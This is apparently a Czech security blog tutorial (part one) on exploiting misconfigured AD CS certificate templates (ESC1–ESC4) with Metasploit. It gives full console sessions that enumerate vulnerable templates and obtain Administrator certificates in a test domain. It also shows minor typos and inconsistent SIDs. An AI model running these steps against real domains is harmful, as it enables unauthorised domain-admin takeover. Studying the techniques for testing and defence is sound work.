Útok na zranitelnosti AD CS ESC pomocí Metasploitu – 1. část

Každý jistě zná nástroje na zneužití chybně nakonfigurované certifikační autority (AD CS) typu Certipy nebo Rubeus. V tomto článku si popíšeme, jak lze nejběžnější zranitelnosti (ECS1-ESC4) exploatovat jednoduše z pohodlí Metasploitu.

obr1

Výše uvedený obrázek znázorňuje schéma, jak nejběžnější zranitelnosti fungují. V následujících částech projdeme jednotlivé kroky, počínaje výčtem šablon certifikátů, které server nabízí, a identifikací těch, které jsou zranitelné různými chybnými konfiguracemi a bezpečnostními chybami, dále vytvořením nových certifikátů pomocí těchto šablon certifikátů pomocí modulu icpr_cert v Metasploitu a nakonec použijeme tyto certifikáty k ověření v doméně jako doménový administrátor prostřednictvím Kerberos.

Teoretická část

Každá zranitelnost šablony certifikátu, o které zde bude řeč, má kód ESC, např. Tyto kódy ESC jsou převzaty z původního whitepaperu, který vydala společnost SpecterOps a který tyto útoky na šablony certifikátů, známé jako Certified Pre-Owned, zpopularizoval. V tomto dokumentu Will Schroeder a Lee Christensen popsali 8 různých doménových eskalačních útoků, o kterých zjistili, že je mohou provést prostřednictvím špatně nakonfigurovaných šablon certifikátů:

ESC1 - Eskalace pomocí No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID šablon + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

ESC2 - Eskalace pomocí No Issuance Requirements + Enrollable Any Purpose EKU or no EKU

ESC3 - Eskalace pomocí No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions

ESC4 - Eskalace pomocí špatně nakonfigurovaných šablon

ESC5 - Eskalace pomocí zranitelného PKI AD Object Access Control

ESC6 - Eskalace pomocí EDITF_ATTRIBUTESUBJECTALTNAME2 nastavení na CA + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID šablon

ESC7 – zranitelná validace přístupu k certifikační autoritě

ESC8 - NTLM Relay na AD CS HTTP endpointy

Později vyšel další blog od Olivera Lyaka, který objevil ESC9 a ESC10, další dvě zranitelnosti, které mohou umožnit běžným uživatelům v doméně zneužít chybnou konfiguraci šablon certifikátů k získání oprávnění doménového administrátora.

ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag nastaven vmsPKI-EnrollmentFlag. TakéStrongCertificateBindingEnforcementnení nastaven na hodnotu 2 neboCertificateMappingMethodsobsahuje UPN flag.

ESC10 – Zranitelné mapování certifikátů -HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods obsahuje UPN bit s hodnotu0x4 neboHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement je nastaven na0.

Nakonec tu máme ESC11, kterou objevila společnost Compass Security.

ESC11 - Relaying NTLM na ICPR - Relaying NTLM autentizace na nezabezpečené RPC interface je povoleno díky chybějícímuIF_ENFORCEENCRYPTICERTREQUEST flagu naConfig.CA.Interface.Flags.

V současné době Metasploit podporuje pouze útoky na ESC1, ESC2, ESC3 a ESC4. Proto se tento článek zabývá pouze zneužitím ESC1 až ESC4.

Před pokračováním je třeba poznamenat, že ESC1 se mírně liší od ESC2 a ESC3, jak je uvedeno na výše uvedeném diagramu. Je to proto, že v ESC1 má člověk kontrolu nad polem subjectAltName ve vygenerovaném certifikátu, které je také známé jako pole SAN. Toto pole umožňuje určit, jako kdo se má certifikát ověřovat. Útočníkovi tedy stačí toto pole upravit a může získat certifikát, který mu umožní ověřit se jako libovolný uživatel.

ESC2 je ve všech ohledech podobný ESC1, liší se však v jedné klíčové oblasti. Na rozdíl od zranitelných šablon certifikátů ESC1 totiž nelze u zranitelných šablon certifikátů ESC2 upravovat pole subjectAltName. Kromě toho šablony certifikátů ESC2 definují rozšířené použití klíče Any Purpose (EKU) nebo žádné EKU. Tato poslední část je důležitá, protože umožňuje útočníkovi využít šablonu zranitelného certifikátu ESC2 k vytvoření nového certifikátu, který lze použít k autorizaci pro přihlášení do domény prostřednictvím systému Kerberos jménem jakéhokoli jiného uživatele, a tím mu umožnit přístup do domény jako tomuto uživateli. Všimněte si, že certifikáty, které vůbec neobsahují EKU, budou muset být důvěryhodné pro objekt NTAuthCertificates (což ve výchozím nastavení nebudou), jinak nové certifikáty vytvořené pomocí zranitelné šablony certifikátu ESC2 nebudou pro ověřování domény fungovat. Toto omezení se netýká těch certifikátů zranitelných vůči ESC2, na které byla použita šablona Any Purpose EKU.

Další případ ESC3 je dosti podobný případu ESC2, liší se však ve dvou ohledech: zneužívá se jiný druh EKU a útočník musí ke zneužití zranitelnosti použít dvě různé šablony certifikátů s chybnou konfigurací. Tentokrát se jedná o EKU Certificate Request Agent EKU, alias OID 1.3.6.1.4.1.311.20.2.1, který umožňuje žádat o certifikát jménem jiného uživatele, což se může zdát neobvyklé, ale v prostředí společnosti Microsoft se jedná o běžný scénář. Ke zneužití této EKU musí mít útočník k dispozici následující dvě zranitelné šablony certifikátů:

  1. Šablona certifikátu, která má všechna stejná oprávnění jako ESC1, ale má také nastavenou Certificate Request Agent EKU, alias OID 1.3.6.1.4.1.311.20.2.1. Tato šablona certifikátu je ve výstupu modulu ldap_esc_vulnerable_cert_finder, který budeme používat později, označena jako ESC3_TEMPLATE_1.
  2. Šablona certifikátu, která umožňuje zápis uživatelům s nízkými právy a má zakázané schvalování správcem, stejně jako ESC1. Má však také buď:
  • Schéma šablony 1
  • Schéma šablony 2 nebo vyšší a Application Policy Issuance Requirement vyžadující Certificate Request Agent EKU, takže ho mohou vystavit pouze ti, kteří mají certifikát s tímto požadavkem. Musí také definovat EKU, která umožňuje ověřování domény, stejně jako ESC1, a na daném serveru certifikační autority (CA) nesmí být žádná omezení zápisu. Tato šablona certifikátu je ve výstupu modulu ldap_esc_vulnerable_cert_finder, který budeme používat později, označena jako ESC3_TEMPLATE_2.

Pokud jsou obě tato kritéria splněna, může se útočník zaregistrovat do jedné ze zranitelných šablon certifikátů ESC3_TEMPLATE_1 jako uživatel s nízkými právy, aby získal certifikát, který mu udělí oprávnění Certificate Request Agent. Tato oprávnění pak může použít k registraci do zranitelné šablony certifikátu ESC3_TEMPLATE_2 a požádat o certifikát jménem jiného uživatele, například správce domény, a využít skutečnosti, že šablona certifikátu umožňuje ověřování domény, k přihlášení do domény prostřednictvím systému Kerberos jako tento uživatel.

Praktická část

Nejprve je nutné nejprve najít seznam zranitelných šablon, které v doméně existují. Za tímto účelem spustíme modul auxiliary/gather/ldap_esc_vulnerable_cert_finder. Tento modul se připojí k serveru LDAP na cílovém řadiči domény (DC) a spustí sadu dotazů LDAP, aby shromáždil seznam serverů certifikačních autorit (CA) a zranitelných šablon certifikátů, které poskytují k zápisu. Poté se také dotáže na oprávnění certifikační autority i šablony certifikátů, aby zjistil, kteří uživatelé nebo skupiny mohou danou šablonu certifikátu použít ke zvýšení svých oprávnění. V současné době je modul schopen identifikovat techniky ESC1 až ESC3.

Mějte však na paměti, že ve hře jsou dvě sady oprávnění. Existuje jedna sada oprávnění na serveru certifikační autority, která řídí, kdo se může zapsat do jakékoli šablony certifikátu z tohoto serveru, a druhá sada oprávnění, která řídí, kdo se může zapsat do konkrétní šablony certifikátu, která se vztahuje na samotnou šablonu certifikátu. Proto modul také určí, kteří uživatelé se mohou zapsat do konkrétní šablony na konkrétním serveru certifikační autority, aby bylo co nejjasnější, ke kterým uživatelům nebo skupinám je třeba mít přístup, aby bylo možné zranitelnou šablonu certifikátu zneužít.

Následující obrázek zjednodušeně popisuje proces identifikace.

obr2

Pro spuštění modulu zadejte přihlašovací údaje doménového uživatele a nastavte RHOSTS na adresu jedné z IP adres řadiče domény (DC) a zadejte příkaz run. Modul se tak přihlásí k serveru LDAP v cílovém DC a vypíše seznam zranitelných šablon certifikátů a serverů certifikačních autorit, které jsou k dispozici, a také oprávnění, která jsou pro zápis do těchto šablon certifikátů vyžadována. Níže je uveden ukázkový výstup spuštění proti testovacímu serveru:

msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options

Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   BASE_DN                                no        LDAP base DN if you already have it
   DOMAIN                                 no        The domain to authenticate to
   PASSWORD                               no        The password to authenticate with
   REPORT_NONENROLLABLE  false            yes       Report nonenrollable certificate templates
   RHOSTS                                 yes       The target host(s), see https://github.com/rapid7/metasploit
                                                    -framework/wiki/Using-Metasploit
   RPORT                 389              yes       The target port
   SSL                   false            no        Enable SSL on the LDAP connection
   USERNAME                               no        The username to authenticate with


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN SPATNADOMENA
DOMAIN => SPATNADOMENA
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Running module against 172.30.239.85

[*] Discovering base DN automatically
[+] 172.30.239.85:389 Discovered base DN: DC=spatnadomena,DC=com
[*] Template: SubCA
[*]    Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: ESC1-Template
[*]    Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC1
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: ESC2-Template
[*]    Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: ESC3-Template1
[*]    Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_1
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: User
[*]    Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: Administrator
[*]    Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: Machine
[*]    Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: DomainController
[*]    Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]       * S-1-5-9 (Enterprise Domain Controllers)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Template: ESC3-Template2
[*]    Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=spatnadomena,DC=com
[*]    Vulnerable to: ESC3_TEMPLATE_2
[*]    Certificate Template Enrollment SIDs:
[*]       * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*]       * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*]    Issuing CAs:
[*]       * spatnadomena-WIN-BR0CCBA815B-CA
[*]          Server: WIN-BR0CCBA815B.spatnadomena.com
[*]          Enrollment SIDs:
[*]             * S-1-5-11 (Authenticated Users)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >

Z výše uvedeného výstupu lze zjistit, že šablona certifikátu SubCA je zranitelná několika útoky. Zatímco však vydávající certifikační autority umožňují vydat tento certifikát jakémukoli ověřenému uživateli, oprávnění šablony certifikátu brání tomu, aby si vystavit pomocí této šablony mohl kdokoli jiný než správci domény a podnikoví správci. V tomto okamžiku tedy pro nás šablona není až tak užitečná.

Přejdeme-li k další šabloně certifikátu, vidíme, že šablona ESC1-Template je zranitelná vůči útoku ESC1, má oprávnění na samotné šabloně, která umožňují zápis libovolnému ověřenému uživateli domény, a má jednu vydávající certifikační autoritu, spatnadomena-WIN- BR0CCBA815B-CA, dostupnou na adrese WIN-BR0CCBA815B.spatnadomena.com, která umožňuje zápis libovolnému ověřenému uživateli. To znamená, že každý uživatel, který je ověřen v doméně, může tuto šablonu využít pomocí útoku ESC1 a zvýšit tak svá oprávnění.

Při pohledu na šablonu ESC2 vidíme stejný příběh, tentokrát je však šablona zranitelná útokem ESC2. ESC3-Template1 je také stejná, ale je zranitelná útokem ESC3_TEMPLATE_1 a ESC3-Template2 je stejná, ale je zranitelná útokem ESC3_TEMPLATE_2.

Vidíme také, že šablona User je zranitelná vůči útokům ESC3_TEMPLATE_2, a skutečnost, že ji lze vystavit od uživatelů domény a že spatnadomena-WIN-BR0CCBA815B-CA umožňuje zápis do ní jakémukoli ověřenému uživateli, potvrzuje teorii, že ji může využít jakýkoli ověřený útočník k útoku ESC3_TEMPLATE_2.

Zajímavá je také šablona Machine, která umožňuje zápis do ní libovolnému počítači připojenému k doméně a jejíž vydávající certifikační autorita umožňuje požádat o ni libovolnému ověřenému uživateli.

Díky tomu máme nyní k dispozici seznam certifikátů, které lze využít ke zvýšení oprávnění. Dalším krokem je použití modulu ipcr_cert k vyžádání certifikátů pro ověření pomocí zranitelných šablon certifikátů.

ESC1

Získat certifikát jako aktuální uživatel je sice super, ale ve skutečnosti chceme eskalovat oprávnění. Naštěstí to můžeme udělat pomocí modulu icpr_cert také. Jen musíme nastavit volby ALT_SID a ALT_UPN, abychom určili, jako kdo se chceme oěřit. Všimněte si, že to funguje pouze se šablonami certifikátů, které jsou zranitelné vůči ESC1 kvůli tomu, že mají nastavený příznak CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.

Pokud víme, že název domény je spatnadomena.com a správce této domény se jmenuje Administrator, provedeme to následovně:

msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA
CA => spatnadomena-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
CERT_TEMPLATE => ESC1-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain SPATNADOMENA
SMBDomain => SPATNADOMENA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@spatnadomena.com
ALT_UPN => Administrator@spatnadomena.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85

[*] 172.30.239.85:445 - Requesting a certificate...
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >

Pomocí modulu kerberos/get_ticket pak můžeme jako správce domény Administrator získat Kerberos ticket (TGT). Toto bude popsáno v druhé části článku.

ESC2

Z předchozího výčtu víme, že zranitelné vůči ESC2 jsou následující šablony certifikátů:

  • SubCA - není zneužitelný, protože pro zápis tohoto certifikátu musíte být Domain Admin nebo Enterprise Admin.
  • ESC2-Template - vystavitelný jakýmkoli ověřeným uživatelem, který je součástí skupiny Domain Users, tedy jakýmkoli ověřeným uživatelem domény.

ESC2-Template použijeme k získání TGT jako doménový administrátor.

K tomu použijeme modul ipcr_cert a nastavíme obvyklé možnosti, budeme jej však muset spustit dvakrát. Je to proto, že v případě ESC2 nemůžeme použít zranitelnost pro vyžádání ověřovacích certifikátů jako ostatní uživatelé, aniž by byl v šabloně nastaven příznak CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. Místo toho můžeme použít příznak Any Purpose EKU nebo SubCA EKU, které jsou nastaveny na těchto certifikátech, a ověřit se v doméně jako uživatel, který o certifikát požádal. Nejprve tedy získáme zranitelný certifikát ESC2 a poté zneužijeme možnosti použít tento certifikát pro libovolný účel k tomu, abychom následně požádali o certifikát jménem jiného uživatele a použili tento certifikát jako formu ověření pro tuto operaci.

Při prvním spuštění nastavíme obvyklé údaje RHOSTS, CA a CERT_TEMPLATE, přičemž se ujistíme, že CERT_TEMPLATE je nastaven na zranitelnou šablonu certifikátu ESC2-Template, a zadáme platné přihlašovací údaje. Tím získáme certifikát pro našeho aktuálního uživatele, který je založen na zranitelné šabloně ESC2-Template:

msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA spatnadomena-WIN-BR0CCBA815B-CA
CA => spatnadomena-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
CERT_TEMPLATE => ESC2-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain SPATNADOMENA
SMBDomain => SPATNADOMENA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting              Required  Description
   ----           ---------------              --------  -----------
   ALT_DNS                                     no        Alternative certificate DNS
   ALT_UPN                                     no        Alternative certificate UPN (format: USER@DOMAIN)
   CA             spatnadomena-WIN-BR0CCBA815B-CA  yes       The target certificate authority
   CERT_TEMPLATE  ESC2-Template                yes       The certificate template
   ON_BEHALF_OF                                no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                         no        Certificate to request on behalf of
   RHOSTS         172.30.239.85                yes       The target host(s), see https://github.com/rapid7/metas
                                                         ploit-framework/wiki/Using-Metasploit
   RPORT          445                          yes       The target port (TCP)
   SMBDomain      SPATNADOMENA                     no        The Windows domain to use for authentication
   SMBPass        normalpass                   no        The password for the specified username
   SMBUser        normaluser                   no        The username to authenticate as


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85

[*] 172.30.239.85:445 - Requesting a certificate...
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate UPN: normal@spatnadomena.com
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot

Loot
====

host  service  type           name             content               info                         path
----  -------  ----           ----             -------               ----                         ----
               windows.ad.cs  certificate.pfx  application/x-pkcs12  SPATNADOMENA\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx

msf6 auxiliary(admin/dcerpc/icpr_cert) >

Dále musíme použít získaný soubor PFX k vyžádání dalšího certifikátu pro ověření jménem jiného uživatele. Pomocí volby PFX zadáme soubor PFX a pomocí nastavení ON_BEHALF_OF zadáme uživatele, jehož jménem se chceme ověřit. Nakonec změníme šablonu certifikátu na jinou šablonu certifikátu, do které se můžeme zapsat. Zde by měl fungovat výchozí certifikát User, protože umožňuje zápis libovolnému ověřenému uživateli domény.

msf6 auxiliary(admin/dcerpc/icpr_cert) > show options

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting              Required  Description
   ----           ---------------              --------  -----------
   ALT_DNS                                     no        Alternative certificate DNS
   ALT_UPN                                     no        Alternative certificate UPN (format: USER@DOMAIN)
   CA             spatnadomena-WIN-BR0CCBA815B-CA  yes       The target certificate authority
   CERT_TEMPLATE  ESC2-Template                yes       The certificate template
   ON_BEHALF_OF                                no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                         no        Certificate to request on behalf of
   RHOSTS         172.30.239.85                yes       The target host(s), see https://github.com/rapid7/metas
                                                         ploit-framework/wiki/Using-Metasploit
   RPORT          445                          yes       The target port (TCP)
   SMBDomain      SPATNADOMENA                     no        The Windows domain to use for authentication
   SMBPass        normalpass                   no        The password for the specified username
   SMBUser        normaluser                   no        The username to authenticate as


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF SPATNADOMENA\\Administrator
ON_BEHALF_OF => SPATNADOMENA\Administrator
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting                 Required  Description
   ----           ---------------                 --------  -----------
   ALT_DNS                                        no        Alternative certificate DNS
   ALT_UPN                                        no        Alternative certificate UPN (format: USER@DOMAIN)
   CA             spatnadomena-WIN-BR0CCBA815B-CA     yes       The target certificate authority
   CERT_TEMPLATE  User                            yes       The certificate template
   ON_BEHALF_OF   SPATNADOMENA\Administrator          no        Username to request on behalf of (format: DOMAIN\USE
                                                            R)
   PFX            /home/gwillcox/.msf4/loot/2022  no        Certificate to request on behalf of
                  1216154930_default_unknown_win
                  dows.ad.cs_104207.pfx
   RHOSTS         172.30.239.85                   yes       The target host(s), see https://github.com/rapid7/me
                                                            tasploit-framework/wiki/Using-Metasploit
   RPORT          445                             yes       The target port (TCP)
   SMBDomain      SPATNADOMENA                        no        The Windows domain to use for authentication
   SMBPass        normalpass                      no        The password for the specified username
   SMBUser        normaluser                      no        The username to authenticate as


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85

[*] 172.30.239.85:445 - Requesting a certificate...
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate UPN: Administrator@spatnadomena.com
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot

Loot
====

host  service  type           name             content               info                         path
----  -------  ----           ----             -------               ----                         ----
               windows.ad.cs  certificate.pfx  application/x-pkcs12  SPATNADOMENA\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
               windows.ad.cs  certificate.pfx  application/x-pkcs12  SPATNADOMENA\normal Certificate  /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx

msf6 auxiliary(admin/dcerpc/icpr_cert) >

Pomocí modulu kerberos/get_ticket pak můžeme jako správce domény Administrator získat Kerberos ticket (TGT). Toto bude popsáno v druhé části článku, stejně tak, jako další zranitelnosti ESC3 a ESC4.